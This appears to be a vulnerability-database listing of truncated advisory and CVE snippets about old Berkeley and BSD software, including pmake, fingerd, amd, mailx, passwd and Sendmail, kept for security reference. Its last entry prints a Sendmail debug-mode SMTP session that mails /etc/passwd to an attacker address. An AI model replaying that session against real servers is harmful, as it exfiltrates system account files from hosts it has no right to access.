Advisory: Berkeley pmake

Problem description ---------------------- There is a format string bug in the Berkeley's pmake 2.1.33 and below parallel make package as well as a buffer overflow problem. Pmake is suid root on various Linux distributions and uses root privileges for binding to low TCP ports. The ordinary...

fingerd-cgi.txt

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED+++++++++++++++++ ALERT! ALERT! BERKELEY FINGER VULNERABILITY! ALERT! ALERT! ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ This is NOT...

CVE-2001-0916

Buffer overflow in Berkeley parallel make pmake 2.1.33 and earlier allows a local user to gain root privileges via a long check argument of a shell definition...

CVE-2001-0915

Format string vulnerability in Berkeley parallel make pmake 2.1.33 and earlier allows a local user to gain root privileges via format specifiers in the check argument of a shell definition...

SuSE Linux 6.4/7.0/7.1/7.2 Berkeley Parallel Make - Shell Definition Format String

// source: https://www.securityfocus.com/bid/3572/info Parallel Make pmake is a freely available version of the make program, originally distributed with Berkeley Unix. It is designed to execute Makefiles and build programs. pmake is not typically setuid root, although some Linux distributions...

CVE-1999-0704

The CVE refers to a buffer overflow in the Berkeley automounter daemon (amd) logging facility included with the Linux am-utils package and related software. Affected component: amd’s logging facility; underlying issue: buffer overflow. Potential impact per sources: complete confidentiality, integ...

CVE-1999-0704

Buffer overflow in Berkeley automounter daemon amd logging facility provided in the Linux am-utils package and others...

CVE-1999-0704

Buffer overflow in Berkeley automounter daemon amd logging facility provided in the Linux am-utils package and others...

poc.mail.local.txt

Proof of Concept - Security Advisory 02/15/99 http://poc.csoft.net Released by [email protected] [email protected] --- Affected Program mail.local Berkeley Sendmail Description Local mailer forward mail to mailboxes Severity Mailbox compromise Synopsis: mail.local is a small program distributed wit...

mailx 8.1.1-10 (BSD/Slackware) - Local Buffer Overflow (2)

/ source: https://www.securityfocus.com/bid/1305/info Some Linux distributions ship with BSD mailx 8.1.1-10 On Slackware 7.x it can be found as /usr/bin/Mail. A vulnerability exists in the 'mail' program, part of the Berkeley mailx package. The 'mail' program contains a buffer overflow condition...

PT-1989-1002 · Bsd · Bsd

Name of the Vulnerable Software and Affected Versions: BSD based operating systems versions 4.3 and earlier Description: A buffer overflow issue in the passwd component of BSD based operating systems allows local users to gain root privileges. This is achieved by specifying a long shell or GECOS...

Berkeley Sendmail 5.58 - Debug

220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in the receipient strips all mail...